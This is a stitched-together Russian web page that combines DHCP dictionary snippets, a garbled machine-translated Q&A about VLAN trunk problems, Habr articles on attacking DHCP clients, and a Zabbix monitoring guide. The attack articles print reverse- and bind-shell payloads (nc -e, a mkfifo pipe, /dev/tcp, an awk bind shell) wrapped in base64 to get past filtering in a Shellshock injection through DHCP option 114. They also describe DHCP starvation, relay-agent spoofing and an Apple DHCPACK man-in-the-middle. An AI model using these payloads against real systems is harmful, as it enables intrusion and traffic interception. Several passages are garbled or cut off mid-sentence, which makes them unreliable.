dhcpack — с английского на русский
Preboot Execution Environment — The Preboot eXecution Environment (PXE, aka Pre Execution Environment, or pixie ) is an environment to boot computers using a network interface independently of available data storage devices (like hard disks) or installed operating systems.PXE… … Wikipedia
DHCP — (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel: Anwendung… … Deutsch Wikipedia
DHCP-Server — DHCP (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel:… … Deutsch Wikipedia
DHCPv6 — DHCP (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel:… … Deutsch Wikipedia
Dynamic Host Configuration Protocol — DHCP (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel:… … Deutsch Wikipedia
Leasezeit — DHCP (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel:… … Deutsch Wikipedia
RFC 2131 — DHCP (Dynamic Host Configuration Protocol) Familie: Internetprotokollfamilie Einsatzgebiet: Automatischer Bezug von IP Adressen und weiteren Parametern Ports: 67/UDP (Server oder Relay Agent) 68/UDP (Client) DHCP im TCP/IP‑Protokollstapel:… … Deutsch Wikipedia
Dynamic Host Configuration Protocol — Saltar a navegación, búsqueda DHCP (sigla en inglés de Dynamic Host Configuration Protocol Protocolo Configuración Dinámica de Servidor) es un protocolo de red que permite a los nodos de una red IP obtener sus parámetros de configuración… … Wikipedia Español
DHCP — Не следует путать с HDCP. DHCP Название: Dynamic Host Configuration Protocol Уровень (по модели OSI): Прикладной[источник не указан 24 дня] Семейство: TCP/IP Создан в: 1990 г. Порт/ID … Википедия
PXE — Saltar a navegación, búsqueda PXE hace referencia al entorno de ejecución de prearranque (Preboot execution Environment). Es un entorno para arrancar e instalar el sistema operativo en computadores desde una red, de manera independiente de los… … Wikipedia Español
Preboot Execution Environment — Contenido 1 Funcionamiento 2 Disponibilidad 3 Protocolo 3.1 Proxy DHCP 3.2 Servidor de arranque … Wikipedia Español
DHCPDISCOVER/DHCPOFFER, но никакой DHCPACK
Предположим, ваш DHCP-сервер и DHCP-клиент и связаны с тем же самым сегментом Ethernet и предположением, что такой сегмент Ethernet охватывает несколько L2-выключателей, связанных с различным «стволом» (802.1q) связи, я столкнулся с подобными проблемами, когда было несоответствие между конфигурацией по крайней мере одной связи ствола.
Подробно, бесконечный цикл DHCP-ОБНАРУЖИВАЕТ/DHCP-ПРЕДЛОЖЕНИЕ (как замечено по DHCP-серверной-стороне), позволил мне думать, что DHCP-клиент
Рассмотрение следующего сценария: неправильная/несогласованная установка этих двух магистральных портов означает что:
- VLAN X движений, посланных КОРОТКОВОЛНОВЫМ к коротковолновому B вдоль ствола (или от DHCP-сервера до DHCP-клиента), является UNTAGGED;
- VLAN X движений, посланных коротковолновым B в КОРОТКОВОЛНОВЫЙ вдоль ствола (или от DHCP-клиента к DHCP-серверу), ПОМЕЧЕН.
- из-за родной установки VLAN магистрального порта коротковолнового B, DHCP-клиент будет
Это очень легко расследовать, , если вы «управляете» DHCP-хостом-клиента. В таком случае предполагая eth0 является сетевым интерфейсом, используемым DHCP-хостом-клиента, простым:
tcpdump -n -i eth0 ether-host
покажет , если клиент получит DHCP-ПРЕДЛОЖЕНИЕ от DHCP-СЕРВЕРА, или нет.
Вещи более трудно расследовать, если вы можете не , управляют клиентским.
P.S.: Очевидно, проблем выше, а также другие связанные аргументы, можно легко избежать используемые надлежащие технологии (как GVRP, VTP или другой не строго ручной подход конфигурации), но… это — вне объема этого ответа
Атакуем DHCP / Хабр
В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.
Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.
Работает DHCP,
DHCPDISCOVER Клиент отправляет широковещательный сетевой пакет с целью найти DHCP-сервер в сети, при этом с канальным уровнем все понятно и о нем писать дальше не будем, сетевой — исходя из собственного опыта, здесь может быть всякое — зависит от клиента, но должно быть:
SRC IP: 0. 0.0.0, DST IP: 255.255.255.255.
На транспортном уровне все запросы отправляются так:SRC PORT: 68, DST PORT: 67
Соответственно, когда сервер отвечает клиенту:SRC PORT: 67, DST PORT: 68
Контрольную сумму UDP можно не считать. Мы не встречали ни одного DHCP-сервера, который бы ее проверял, да и сетевое оборудование пропускает пакеты с нулевым значением UDP checksum без проблем. В первом байте прикладного уровня (поле op — тип сообщения) клиент выставляет значение — 0х01 (BOOTREQUEST — запрос от клиента к серверу). На остальных полях пакета не будем останавливаться, поскольку их описание, длина и значения есть в RFC и в WIKI. В запросе от клиента нам также интересно поле xid (Transaction ID — рандомное число размером 4 байта по смещению 0х04 от начала прикладного уровня в пакете). Если сервер в ответе выставит поле
Вот так выглядит этот запрос в WireShark:
DHCPOFFER Сервер получает запрос от клиента и отправляет ему предложение. На сетевом уровне в качестве SRC IP сервер выставляет свой IP-адрес, в DST IP должно быть: 255.255.255.255, но это не всегда так. В DST IP также может быть выставлен IP-адрес, выделенный клиенту, или IP-адрес ретранслятора, если тот участвует в процессе. Вы спросите, а как же пакет доходит до клиента, если у него еще нет IP-адреса? Все просто: в DHCPDISCOVER- и DHCPREQUEST-запросах, в поле chaddr (Сlient MAC address) клиент указывает свой MAC-адрес.
Таким образом, сервер или ретранслятор знают, куда доставлять пакет на канальном уровне, поскольку сервер или ретранслятор всегда находятся в пределах одного широковещательного домена с клиентом, а что происходит на сетевом уровне, не так уж и важно
UDP магия. В типе сообщения значение 0х02 (BOOTREPLY — ответ сервера клиенту). В поле xid выставляется значение, равное значению поля xid в запросе клиента. В поле yiaddr (Your (client) IP address) выставляется IP-адрес клиента, предложенный сервером. Что появляется в DHCP-опциях: в опции с кодом 53 (DHCP message type) значение — 0х02 (DHCPOFFER), код 51 (IP Address Lease Time) — время аренды IP-адреса, код 54 (Server Identifier) — IP-адрес DHCP-сервера. Все остальные опции предложения зависят от того, какие параметры запросил клиент, их список клиент указал в DHCPDISCOVER-запросе в опции с кодом 55 (Parameter Request List).DHCPREQUEST Клиент отправляет серверу запрос на получение сетевых параметров. На сетевом уровне должно быть так:
SRC IP: 0.0.0.0 DST IP: 255.255.255.255
но может быть и так: в SRC IP выставляется IP-адрес, который назначил сервер в своем предложении (полеDHCPACK Сервер отправляет клиенту подтверждение. На сетевом уровне должно быть так:
SRC IP: <IP-адрес сервера> DST IP: 255. 255.255.255
. Опции и поля этого пакета не отличаются от DHCPOFFER, за исключением опции с кодом 53 (DHCP message type тип DHCP-сообщения), равной 0х05 — это значит, что данный пакет — подтверждение от DHCP-сервера.
Далее, клиент с помощью протокола ARP пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Если конфликт не найден, клиент выставляет полученные из DHCPACK параметры сетевому интерфейсу. Если обнаружен, клиент рассылает широковещательное сообщение отказа DHCP DHCPDECLINE, после чего процедура получения IP-адреса повторяется.
Также у протокола DHCP есть еще одна особенность: если клиент ранее отправлял запрос DHCPDISCOVER, то при повторном подключении к той же сети клиент сразу отправляет DHCPREQUEST; при этом в DHCP-опции с кодом 50 (Requested IP address) выставляется IP-адрес, полученый ранее.
Остановимся на упомянутом DHCPDECLINE подробнее. На практике это выглядит так:
Клиент отправляет DHCPREQUEST, поскольку уже подключался к этой сети.
Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64
Сервер отвечает DHCPACK.
Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1
Клиент с помощью протокола ARP узнает MAC-адрес шлюза, а далее, через тот же ARP, пытается обнаружить конфликт IP-адресов в локальной сети (Address Conflict Detection). Запрос выглядит так:
sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171
Хост с IP-адресом 192.168.1.171 отвечает на ARP-запрос.
Клиент выявил конфликт IP-адресов в сети и отправляет широковещательный DHCPDECLINE.
Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171
Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0x713a0fe7. Вы обратили внимание на пакеты с номерами 89, 101, 106, 136 и 151? Если да, то наверняка поняли, что на этот раз сервер выделил клиенту IP-адрес 192.168.1.172 и перед этим DHCP-сервер сам с помощью того же ARP (пакеты с номерами 89, 101, 106:
Who has 192.168.1.172? Tell 192.168.1.1
) убедился, что IP-адрес 192.168.1.172 свободен, и только потом отправил DHCPOFFER. После этого клиент еще раз попытался выявить конфликт IP-адресов (пакеты с номерами 136, 151:Who has 192.168.1.172? Tell 0.0.0.0
).
Мы уже знаем, что клиент, подключившись хотя бы раз к сети, будет отправлять только DHCPREQUEST-запрос, выставляя при этом в Requested IP адрес, который получил ранее. Но что если DHCP-сервер уже выделил этот IP-адрес, поменялась конфигурация или адресация, и сервер не может дать клиенту этот адрес? Для этого существует тип сообщения DHCPNAK. Работает он следующим образом:
Клиент отправляет DHCPREQUEST.
Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14
В настройках сервера указан диапазон, в котором он может выделять IP-адрес, но тот, который запросил клиент, не входит в данный диапазон, поэтому сервер отправляет DHCPNAK.
Transaction ID: 0xa7ddc5cb; Message: address not available
Процедура получения IP-адреса повторяется, но уже с другим Transaction ID: 0xcfbf77a9.
Перейдем к shellshock
Про то, как и почему работает shellshock, писать нет никакого смысла, ведь эта уязвимость — одна из самых популярных, и о ней есть великое множество статей. Лучше остановимся на моменте, как получить shell на клиенте DHCP, в случае, если мы выступим в роли DHCP-сервера.
В какие поля и опции можно инъектировать?
Ответ: практически в любые! Вот список кодов DHCP-опций, в которые возможно инъектировать (проверено на NetworkManager из состава CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.
В нашем PoC мы будем использовать DHCP-опцию с кодом 114 (URL). Почему? Потому, что ее длина — вариативна (максимальная длина — 256 байт), а также потому, что ее все используют. Ее описание еще есть здесь. Существует даже статья о том, как с помощью этой опции обновить уязвимые к shellshock системы 🙂
Какие у нас ограничения?
Ответ: их много, слишком много!
- Длина — 256 байт
- Возможно использовать только команды интерпретатора
- Большое ограничение на используемые символы: некоторые фильтруются, некоторые экранируются. Это зависит от клиента DHCP. Вот набор символов, которые не везде получится использовать:
"';&|
- После выполнения команды, IPv4-адрес может не присвоиться, в таком случае возможно использовать IPv6 link-local-адрес, если на интерфейсе не включено игнорирование IPv6
- Необходимо использовать абсолютные пути, иначе команда может не выполниться
И что тогда делать?
Ответ: обходить ограничения!
Для обхода фильтра мы должны выполнить все одной командой. Сделаем это так:
/bin/sh <(/usr/bin/base64 -d <<< Base64String)
Здесь на вход интерпретатора /bin/sh мы подаем вывод /usr/bin/base64, которая декодирует строку Base64String. Таким образом, мы использовали уже 34 байта, длина Base64String не должна превышать 222 байтов.
А что будет в Base64String? Не забываем про четвертое ограничение, поэтому в первую очередь выставим IP-адрес интерфейсу командой:
/bin/ip addr add <IP>/<MASK> dev eth0;
Эта команда накладывает на нас еще одно ограничение: мы должны знать имя интерфейса, которому выставляем IP-адрес. По умолчанию, в старых версиях Linux, на которых еще есть shellshock, первый сетевой интерфейс называется eth0, так что ориентируемся на него. Еще в эту строку мы должны поместить reverse shell или bind shell.
Для reverse shell будем использовать стандартный shell с использованием nc:
nc -e /bin/sh <IP> <PORT> 2>&1 &
rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f &
Для reverse shell также можно использовать команду отсюда:
/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Для bind shell будем использовать /cmd/unix/bind_awk из состава Metasploit, как один из наиболее коротких:
awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
PoC
Видео:
Еще
Ни в коем случае DHCP нельзя рассматривать исключительно как метод получения RCE на клиентах, потому что, во-первых, мы должны ответить быстрее реального DHCP-сервера в сети, и, во-вторых, на клиенте должен быть shellshock, а это маловероятно. Протокол DHCP в первую очередь необходимо рассматривать как метод осуществления MITM.
Поговорим о том, как ответить на любой запрос быстрее DHCP-сервера. Самый очевидный вариант — быть ближе к клиенту по расположению в сети, и еще наше железо и алгоритм должны работать быстрее. Однако, в большинстве случаев это не так.
Есть второй вариант: нужно нагрузить сервер, но при этом не занимать новые IP-адреса в сети, чтобы не исчерпать весь пул свободных адресов (такая атака называется DHCP starvation). Как вы уже поняли, необходимо отправлять большое количество запросов DHCPDISCOVER, поскольку сервер должен обработать каждый из них и отправить в ответ DHCPOFFER. Однако, в рамках данной транзакции DHCPREQUEST мы отправлять не будем, поэтому сервер будет его ждать. IP-адрес не будет считаться выделенным, потому что процедура получения IP не завершена.
Давайте посмотрим, как это выглядит на практике.
Графы нагрузки и процессы до отправки DHCPDISCOVER-запросов:
На рисунках видно, что load average роутера колеблется от 0. 1 до 0.3, и процесс dnsmasq занимает 0% CPU.
Графы нагрузки, процессы и список DHCP-клиентов во время отправки DHCPDISCOVER-запросов:
Load average роутера повысился до 1.96, и он уже не успевает отвечать на все запросы DHCPDISCOVER, процесс dnsmasq занимает целых 64% CPU, но при этом в списке DHCP клиентов только наш хост.
В результате, мы и сервер немного нагрузили, и IP-адреса не заняли. Если мы отфильтруем все сгенерированные нами же запросы DHCPDISCOVER, вероятнось того, что мы ответим быстрее реального DHCP-сервера, значительно увеличится. Задача выполнена, идем дальше.
Теперь поговорим о типах DHCP сообщений:
Первые шесть типов сообщений мы уже разобрали, осталось всего два: седьмой (DHCPRELEASE) и восьмой (DHCPINFORM). Остановимся на них подробнее.
Клиент может явным образом прекратить аренду IP-адреса. Для этого он отправляет сообщение освобождения аренды адреса DHCPRELEASE тому серверу, который предоставил адрес ранее. В отличие от других сообщений, это не рассылается широковещательно.
Сообщение информации DHCPINFORM предназначено для определения дополнительных сетевых параметров теми клиентами, у которых IP-адрес настроен вручную. Исходя из своего опыта, можем сказать, что такие сообщения отправляют только Windows хосты :(. Сервер отвечает на подобный запрос DHCPACK без выделения IP-адреса. Для этих сообщений существует свой проект rfc. Вы уже поняли, что мы можем выставить в DHCPACK свой шлюз, DNS, и т.д. Главное — ответить раньше реального DHCP сервера, а эта проблема уже решена выше.
DHCP starvation & DHCP relay agent
В данной статье мы упоминали про атаку DHCP starvation — исчерпание пула свободных IP-адресов. Бытует мнение, что провести данную атаку возможно, отправляя лишь большое количество DHCPDISCOVER или DHCPREQUEST запросов с рандомных MAC-адресов, и тогда на каждый такой запрос DHCP-сервер выделит и зарезервирует IP-адрес, но это не всегда так. Как мы уже знаем, процедура получения и резервирования IP-адреса заканчивается тогда, когда DHCP-сервер отправляет сообщение DHCPACK. Наиболее корректно производить данную атаку, представляясь как DHCP relay agent.
Приведем пример:
Наш сетевой интерфейс enp0s3 с MAC-адресом: 08:00:27:6a:82:5f и IP-адресом: 192.168.1.2. В качестве DHCP-сервера будет выступать Dnsmasq/2.73 из состава OpenWrt Chaos Calmer 15.05.1 IP-адрес: 192.168.1.1
Начинаем отправку запросов:
Таким образом, мы забъем весь пул свободных IP-адресов, а легитимный DHCP-клиент сможет получить IP-адрес от этого DHCP-сервера только через 12 часов. Пока легитимный DHCP-сервер не может отправить ответы клиентам, это можем сделать мы!
Как это работает:
Формируем и отправляем широковещательный DHCPDISCOVER-запрос, при этом представлемся как DHCP relay agent. В поле giaddr (Relay agent IP) указываем свой IP-адрес 192.168.1.2, в поле chaddr (Client MAC address) — рандомный MAC 00:19:bb:f5:e7:a8, при этом на канальном уровне в SRC MAC выставляем свой MAC-адрес.
Сервер отвечает сообщением DHCPOFFER агенту ретрансляции (нам), и предлагает клиенту с MAC-адресом 00:19:bb:f5:e7:a8 IP-адрес 192.168.1.232
После получения DHCPOFFER, отправляем широковещательный DHCPREQUEST-запрос, при этом в DHCP-опции с кодом 50 (Requested IP address) выставляем предложеный клиенту IP-адрес 192.168.1.232, в опции с кодом 12 (Host Name Option) — рандомную строку. Важно: значения полей xid (Transaction ID) и chaddr (Client MAC address) в DHCPREQUEST и DHCPDISCOVER должны быть одинаковыми, иначе сервер отбросит запрос, ведь это будет выглядеть, как другая транзакция от того же клиента, либо другой клиент с той же транзакцией.
Сервер отправляет агенту ретрансляции сообщение DHCPACK. С этого момента IP-адрес 192.168.1.232 считается зарезервированным за клиентом с MAC-адресом 00:19:bb:f5:e7:a8 на 12 часов (время аренды по умолчанию).
Выводы
Способы противодействия:
DHCP snooping — функция коммутатора, предназначенная для защиты от атак с использованием протокола DHCP. Например, атаки с подменой DHCP-сервера в сети;
Port security — функция коммутатора, позволяющая указать MAC-адреса хостов, которым разрешено передавать данные через порт. После этого порт не передает пакеты, если MAC-адрес отправителя не указан как разрешенный;
Настройка сетевого оборудования с целью ограничения количества DHCPDISCOVER и DHCPREQUEST запросов с одного MAC-адреса и/или IP-адреса;
Запись и анализ трафика в сети для отслеживания аномалий. Например, обычное количество DHCP-запросов в вашей сети не превышает 100-200 в день, а во время атаки DHCP starvation их число увеличивается многократно. Еще один пример: обычно в вашей сети количество DHCP-ответов не превышает количества DHCP-запросов, а теперь количество DHCP-ответов стало вдвое больше DHCP-запросов. Это значит, что кто-то производит атаку с подменой DHCP-сервера;
Использование IDS, IPS, SIEM и систем мониторинга оборудования типа Zabbix;
По возможности использовать статическую привязку MAC — IP на DHCP сервере;
Использовать DHCP-ретрансляторы и DHCP-сервера поддерживающие DHCP опцию с кодом 82;
Непрерывное обновления программного обеспечения. Обновить хосты можно и так 🙂
Атакуем DHCP часть 3. DHCP + Apple = MiTM / Хабр
В данной статье я расскажу о том как осуществить MiTM любого устройства компании Apple в WiFi сети. Прежде чем читать эту статью настоятельно рекомендую ознакомиться с первой и второй частью.
Ограничения все те же:
- Мы должны быть подключены к атакуемой точке доступа.
- У нас должна быть возможность прослушивать широковещательный трафик в сети.
Как оказалось, macOS и iOS переплюнули всех в плане получения сетевых настроек по протоколу DHCP. Когда эти операционные системы отправляют DHCPREQUEST, DHCP-сервер отвечает им DHCPACK, и они выставляют сетевые настройки из ответа сервера. Вроде пока все как у всех:
Но проблема в том, что DHCPREQUEST широковещательный и злоумышленник, как правило, без особых проблем может его перехватить извлечь из него поля xid и chaddr, что бы сформировать правильный DHCPACK. Но злоумышленник отправит DHCPACK, конечно, позднее легитимного DHCP-сервера, то есть его ответ придет вторым. Все остальные DHCP-клиенты на других ОС просто проигнорируют второй DHCPACK, но не macOS и iOS.
Как вы думаете, какие сетевые настройки выставляют данные операционные системы? Ответ: те настройки, которые будут содержаться во втором DHCPACK (в DHCPACK злоумышленника).
Видео демонстрации бага в DHCP-клиенте на macOS:
Как Вы думаете баг это или фича? Я подумал баг и на всякий случай завел заявку на Apple Bug Reporter этой заявке уже больше месяца, но ни одного комментария от специалистов Apple я так и не получил.
На заявке в Apple Bug Reporter я не остановился и написал письмо в [email protected]
Специалисты Apple совсем не быстро, но все же ответили и сказали, что их DHCP-клиент работает в соответствии с RFC 2131. То есть это вовсе не баг, это фича. У меня все.
Послесловие
Для самых ленивых я подготовил скрипт apple_wifi_mitmer.py, который в автоматическом режиме находит все устройства компании Apple в Wi-Fi-сети, деаутентифицирует их и производит MiTM.
В аргументах скрипта всего-то нужно указать имя беспроводного интерфейса, который уже подключен к исследуемой Wi-Fi-сети, и еще один беспроводной интерфейс для отправки deauth-пакетов.
Видео демонстрации работы скрипта apple_wifi_mitmer.py:
Работает ли это на новой iOS 11? Ответ: Да, работает.
linux — DHCPDISCOVER /DHCPOFFER, но не DHCPACK
Предположим, что ваш DHCP-сервер и DHCP-клиент оба подключены к одному и тому же сегменту Ethernet, и предположим, что такой сегмент ethernet охватывает несколько L2-переключателей, связанных между собой несколькими «соединительными линиями» ( 802.1q ), я столкнулся с подобными проблемами, когда произошла несогласованность между конфигурацией хотя бы одной соединительной линии.
Подробно, бесконечный цикл DHCP-DISCOVER /DHCP-OFFER (как видно на стороне DHCP-сервера), позвольте мне подумать, что DHCP-клиент NOT , получая DHCP-OFFER и, следовательно, перехватывая сообщение DHCP-DISCOVER. Такой DHCP-DISCOVER (как видно со стороны DHCP-клиента) правильно получен от DHCP-SERVER.
Учитывая следующий сценарий: неправильная /несогласованная настройка двух портов соединительных линий означает, что:
- Трафик VLAN X, отправленный SW A на SW B по внешней линии (или с DHCP-сервера на DHCP-клиент), НЕОБХОДИМО,
- Трафик VLAN X, отправленный SW B в SW A по внешней линии (или с DHCP-клиента на DHCP-сервер), выполняется TAGGED.
- из-за собственной настройки VLAN для соединительного порта SW B, DHCP-клиент будет не получать пакеты с DHCP-сервера.
Это очень легко устранить, , если вы «управляете» хостом DHCP-Client. В таком случае предположим, что eth0 — это сетевой интерфейс, используемый хостом DHCP-клиента, простой:
tcpdump -n -i eth0 ether-host <dhcp-server-mac-address>
отобразит , если клиент получит DHCP-ПРЕДЛОЖЕНИЕ от DHCP-SERVER, или нет.
Сложнее устранить проблемы, если вы можете не управлять клиентской стороной.
PS: Очевидно, что проблемы, описанные выше, а также другие связанные с ним аргументы, можно легко избежать использования соответствующих технологий (например, GVRP , VTP или другое не строго-вручную-config -approach), но … это выходит за рамки этого ответа
Контроль работоспособности DHCP-сервера в Zabbix
Контроль работоспособности DHCP-сервера в Zabbix←
Как-то раз на работе потребовалось поставить на контроль DHCP-сервер. Сделать это нужно было, как обычно, срочно. Пока я делал, заказчики постоянно «держали руку на пульсе», интересовались результатами и поторапливали. Пытался воспользоваться различными утилитами командной строки, но в итоге наиболее пригодным вариантом оказалось написание собственного скрипта на python с использованием библиотеки ScaPy, благо в интернете можно найти примеры подобных скриптов. Собирались испытать скрипт на одном DHCP-сервере, а потом поставить на контроль ещё несколько десятков.
Года через два наткнулся на этот забытый скрипт. Раз уж он никому не нужен, то можно попытаться довести его до ума и поделиться им. Забрал скрипт домой и стал экспериментировать на виртуалках. Пока доводил скрипт до ума, на работе снова возникла необходимость поставить на контроль один DHCP-сервер, никак не связанный с теми, для которых скрипт первоначально писался.
1. Принципы работы DHCP
Для начала ознакомимся немого с принципами работы DHCP.
Выдача настроек по DHCP происходит в следующей последовательности:
- клиент, желающий получить настройки, посылает широковещательный запрос DHCPDISCOVERY, при помощи которого пытается обнаружить доступные DHCP-серверы,
- сервер откликается на запрос DHCPDISCOVERY и отвечает пакетом DHCPOFFER, в котором предлагает клиенту использовать определённый IP-адрес,
- клиент отправляет серверу запрос DHCPREQUEST, в котором просит закрепить за ним указанный IP-адрес,
- сервер отвечает клиенту пакетом DHCPACK, в котором подтверждает, что IP-адрес закреплён за клиентом. Если сервер по каким-то причинам не может закрепить за клиентом указанный им IP-адрес, то отвечает пакетом DHCPNAK.
Для продления аренды ранее выданного сервером IP-адреса клиент использует запросы DHCPREQUEST, указывая в запросе ранее выданный ему IP-адрес.
Также протоколом предусмотрены пакеты DHCPDECLINE и DHCPINFO.
При помощи DHCPDECLINE клиент может сообщить серверу, что предложенный им IP-адрес уже используется.
Если клиенту не нужен IP-адрес от DHCP-сервера, то вместо запроса DHCPREQUEST клиент может отправить запрос DHCPINFORM для запроса дополнительных сетевых параметров. Так же как и в ответ на запрос DHCPREQUEST, на запрос DHCPINFORM сервер отвечает пакетом DHCPACK.
Если клиент хочет вернуть IP-адрес DHCP-серверу, он может отправить серверу запрос DHCPRELEASE. Если сервер получит такой запрос, он помечает IP-адрес как свободный. Протоколом не предусмотрен ответ на запросы DHCPRELEASE, поэтому невозможно убедиться в том, что сервер получил и обработал запрос.
2. Описание скрипта dhcp.py
А теперь перейдём к делу. Для контроля работоспособности DHCP-сервера был подготовлен скрипт dhcp.py, принимающий следующие аргументы:
- имя сетевого интерфейса, за которым находится контролируемый DHCP-сервер,
- MAC-адрес клиента, который будет использоваться в запросах к DHCP-серверу. По умолчанию — MAC-адрес сетевого интерфейса,
- IP-адрес, который ожидается получить от DHCP-сервера. По умолчанию клиент будет принимать любой IP-адрес,
- IP-адреса DHCP-серверов, ответ от которых ожидается получить. Если на пути между клиентом и DHCP-сервером имеются DHCP-релеи, то тут нужно указывать настоящие IP-адреса серверов, а не IP-адреса релеев. Можно указать несколько IP-адресов, разделив их двоеточиями. По умолчанию принимаются ответы от любых DHCP-серверов,
- время ожидания ответа, по умолчанию составляет 2 секунды.
Обязательно для указания только имя интерфейса. Все остальные настройки не обязательны и могут быть опущены.
Алгоритм работы скрипта следующий:
- через указанный интерфейс отправляется запрос DHCPDISCOVERY с указанным MAC-адресом или MAC-адресом интерфейса,
- в течение таймаута принимаются пакеты DHCPOFFER,
- если пакетов DHCPOFFER не поступило, выполнение скрипта прерывается,
- если указан ожидаемый IP-адрес, то проверяется, что в DHCPOFFER предложен именно этот IP-адрес. Если DHCP-сервер предложил другой IP-адрес, то выполнение скрипта прерывается,
- если указан список IP-адресов DHCP-серверов, то проверяется, что в DHCPOFFER указан IP-адрес одного из ожидаемых DHCP-серверов. Если получен ответ от другого DHCP-сервера, то выполнение скрипта прерывается,
- отправляется запрос DHCPREQUEST с просьбой выдать в аренду предложенный IP-адрес,
- в течение таймаута принимаются пакеты DHCPACK,
- если пакетов DHCPACK не поступило, выполнение скрипта прерывается,
- отправляется запрос DHCPRELEASE на возврат арендованного IP-адреса.
Коды ошибок скрипта, которые он выдаёт на стандартный вывод:
- указанный сетевой интерфейс не существует,
- неправильный MAC-адрес,
- нет ответа DHCPOFFER,
- неправильный пакет DHCPOFFER,
- получен ответ от нежелательного DHCP-сервера,
- предложен нежелательный IP-адрес,
- нет ответа DHCPACK,
- неправильный пакет DHCPACK.
Для работы скрипту необходимы привилегии пользователя root, но Zabbix работает под простым пользователем, поэтому придётся воспользоваться sudo. Если использовать скрипт dhcp.py как скрипт внешнего опроса, то для его запуска через sudo потребуется создать ещё один скрипт. Но такое решение не кажется мне красивым. Я решил вызывать скрипт dhcp.py через Zabbix-агента, для чего понадобится настроить в конфигурации агента UserParameter, где найдётся место и для sudo.
3. Настройка Zabbix-агента
Сначала установим пакет sudo, если он ещё не установлен:
# apt-get install sudo
И выдадим пользователю zabbix, от имени которого работает Zabbix-агент, права запускать скрипт dhcp.py с правами пользователя root:
Defaults:zabbix !requiretty zabbix ALL=(ALL) NOPASSWD:/etc/zabbix/dhcp.py *
Теперь положим скрипт dhcp.py в каталог /etc/zabbix и выдадим права запускать его:
# chmod +x /etc/zabbix/dhcp.py
В конфигурации Zabbix-агента в файле /etc/zabbix/zabbix_agentd.conf добавим строчку:
UserParameter=dhcp[*],/usr/bin/sudo /etc/zabbix/dhcp.py "$1" "$2" "$3" "$4" "$5"
После изменения конфигурации Zabbix-агента, его нужно перезапустить:
# systemctl restart zabbix-agent
4. Шаблоны для Zabbix
Для того, чтобы в последних данных можно было наглядно видеть результат последней проверки, я подготовил файл для преобразования значений Valuemap_DHCP.xml. В файле созданы следующие преобразования значений:
Также я подготовил два варианта шаблона:
- Template_App_DHCP.xml — шаблон для использования с Zabbix-агентом, работающим в обычном, пассивном режиме,
- Template_App_DHCP_Active.xml — шаблон для использования с Zabbix-агентом, работающим в активном режиме.
В шаблоне имеются макросы, при помощи которых можно настроить элемент данных, который контролирует состояние DHCP-сервера. Указано только одно значение по умолчанию для имени интерфейса — eth0, т.к. этот аргумент обязателен для указания.
В шаблоне есть только один элемент данных, который использует макросы из шаблона в качестве своих аргументов по умолчанию:
